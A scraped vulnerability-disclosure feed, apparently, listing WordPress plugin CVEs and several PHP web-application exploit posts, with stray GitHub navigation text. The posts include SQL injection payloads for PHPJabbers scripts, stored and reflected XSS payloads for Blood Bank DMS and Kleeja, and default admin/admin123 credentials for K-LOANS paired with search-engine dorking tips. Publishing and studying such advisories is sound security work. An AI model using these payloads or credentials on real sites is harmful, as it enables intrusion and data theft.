The Booster for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple shortcodes in versions up to, and including, 7.1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVE-2023-4945: class-wcj-general-shortcodes.php in woocommerce-jetpack/tags/7.1.0/includes/shortcodes – WordPress Plugin Repository

The Awesome Weather Widget for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'awesome-weather' shortcode in versions up to, and including, 3.0.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVE-2023-4944: awesome-weather.php in awesome-weather/tags/3.0.2 – WordPress Plugin Repository

A reflected cross-site scripting (XSS) vulnerability in OpenKnowledgeMaps Head Start 7 allows remote attackers to execute arbitrary JavaScript in the web browser of a user, by including a malicious payload into the 'file' parameter in 'displayPDF.php'.

*   *   Actions
        
        Automate any workflow
        
    *   Packages
        
        Host and manage packages
        
    *   Security
        
        Find and fix vulnerabilities
        
    *   Codespaces
        
        Instant dev environments
        
    *   Copilot
        
        Write better code with AI
        
    *   Code review
        
        Manage code changes
        
    *   Issues
        
        Plan and track work
        
    *   Discussions
        
        Collaborate outside of code
        
    

*   *   GitHub Sponsors
        
        Fund open source developers
        
    
    *   The ReadME Project
        
        GitHub community articles
        
    
*   Pricing

**Search code, repositories, users, issues, pull requests...**

**Provide feedback**

**Saved searches****Use saved searches to filter your results more quickly**

Sign up

CVE-2023-40617: vulnerability-research/CVE-2023-40617 at main · dub-flow/vulnerability-research

PHP Shopping Cart version 4.2 suffers from a remote SQL injection vulnerability.

    ## Title: PHP Shopping Cart-4.2 Multiple-SQLi## Author: nu11secur1ty## Date: 09/13/2023## Vendor: https://www.phpjabbers.com/## Software:https://www.phpjabbers.com/php-shopping-cart-script/#sectionPricing## Reference: https://portswigger.net/web-security/sql-injection## Description:The `id` parameter appears to be vulnerable to SQL injection attacks.A single quote was submitted in the id parameter, and a database errormessage was returned. Two single quotes were then submitted and theerror message disappeared. The attacker easily can steal allinformation from the database of this web application!WARNING! All of you: Be careful what you buy! This will be your responsibility!STATUS: HIGH-CRITICAL Vulnerability[+]Payload:```mysql---Parameter: id (GET)    Type: boolean-based blind    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)    Payload: controller=pjFront&action=pjActionGetStocks&id=1') OR NOT3795=3795-- sRcp&session_id=    Type: error-based    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY orGROUP BY clause (GTID_SUBSET)    Payload: controller=pjFront&action=pjActionGetStocks&id=1') ANDGTID_SUBSET(CONCAT(0x71717a6b71,(SELECT(ELT(3820=3820,1))),0x7178627871),3820)-- kQZA&session_id=    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: controller=pjFront&action=pjActionGetStocks&id=1') AND(SELECT 2625 FROM (SELECT(SLEEP(5)))nVyA)-- FGLs&session_id=---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/PHP-Shopping-Cart-4.2)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2023/09/php-shopping-cart-42-multiple-sqli.html)## Time spent:00:37:00

PHP Shopping Cart 4.2 SQL Injection

Fundraising Script version 1.0 suffers from a remote SQL injection vulnerability.

    ## Title: Fundraising Script-1.0 SQLi## Author: nu11secur1ty## Date: 09/13/2023## Vendor: https://www.phpjabbers.com/## Software: https://www.phpjabbers.com/fundraising-script/#sectionDemo## Reference: https://portswigger.net/web-security/sql-injection## Description:The `cid` parameter appears to be vulnerable to SQL injection attacks.The payload ' was submitted in the cid parameter, and a database errormessage was returned.The database is empty, but if it is not, this will be over for themoney of the donors and their bank accounts!The attacker can steal all information from the database!STATUS: HIGH-CRITICAL Vulnerability[+]Payload:```mysql---Parameter: cid (GET)    Type: error-based    Title: MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)    Payload: controller=pjFront&action=pjActionLoadCampaign&cid=(UPDATEXML(1741,CONCAT(0x2e,0x71626b7071,(SELECT(ELT(1741=1741,1))),0x7162787171),3873))---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/Fundraising-Script-1.0)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2023/09/fundraising-script-10-sqli.html)## Time spent:01:15:00

Fundraising Script 1.0 SQL Injection

Blood Bank and Donor Management System version 2.2 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: Blood Bank & Donor Management System using v2.2 - Stored XSS# Application: Blood Donor Management System# Version: v2.2   # Bugs:  Stored XSS# Technology: PHP# Vendor Homepage: https://phpgurukul.com/# Software Link: https://phpgurukul.com/blood-bank-donor-management-system-free-download/# Date: 12.09.2023# Author: SoSPiro# Tested on: Windows#POC========================================1. Login to admin account2. Go to /admin/update-contactinfo.php3. Change "Adress" or " Email id " or " Contact Number" inputs and add "/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert('1') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e" payload.4. Go to http://bbdms.local/inedx.php page and XSS will be triggered.

Blood Bank And Donor Management System 2.2 Cross Site Scripting

Kleeja version 1.5.4 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : Kleeja v1.5.4 XSS Vulnerability                                                                                    || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : http://www.kleeja.com/                                                                                             || # Dork      : Powered by Kleeja                                                                                                  |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : index.php/%22%3Cmarquee%3E%3Cfont%20color=Blue%20size=32%3ETest%3C/font%3E%3C/marquee%3E%3d%27prompt%28987964%29%27bad%3d%22%3E[+] http://127.0.0.1/kleeja/1/index.php/%22%3Cmarquee%3E%3Cfont%20color=Blue%20size=32%3ETest%3C/font%3E%3C/marquee%3E%3d%27prompt%28987964%29%27bad%3d%22%3EGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Kleeja 1.5.4 Cross Site Scripting

K-LOANS version 1.4.5 suffers from an ignored default credential vulnerability.

    ====================================================================================================================================| # Title     : K-LOANS v1.4.5 Insecure Settings Vulnerability                                                                     || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : https://codecanyon.net/item/loan-management-system/11454263                                                        || # Dork      : K-LOANS 1.4.5                                                                                                      |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine .[+] leaves a default set of administrative credentials installed post installation.[+] user : admin & pass = admin123[+] http://182.166.255.0wwwgarciuzcom/prestar/index.php/homeGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

K-LOANS 1.4.5 Insecure Settings

The Leyka plugin for WordPress is vulnerable to Sensitive Information Exposure in versions up to, and including, 3.30.3 via the 'leyka_ajax_get_env_and_options' function. This can allow authenticated attackers with subscriber-level permissions or above to extract sensitive data including Sberbank API key and password, PayPal Client Secret, and more keys and passwords.

CVE-2023-4917: leyka-ajax.php in leyka/tags/3.30.3/inc – WordPress Plugin Repository

The Login with phone number plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.4.8. This is due to missing nonce validation on the 'lwp_update_password_action' function. This makes it possible for unauthenticated attackers to change user password via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

Tag

#php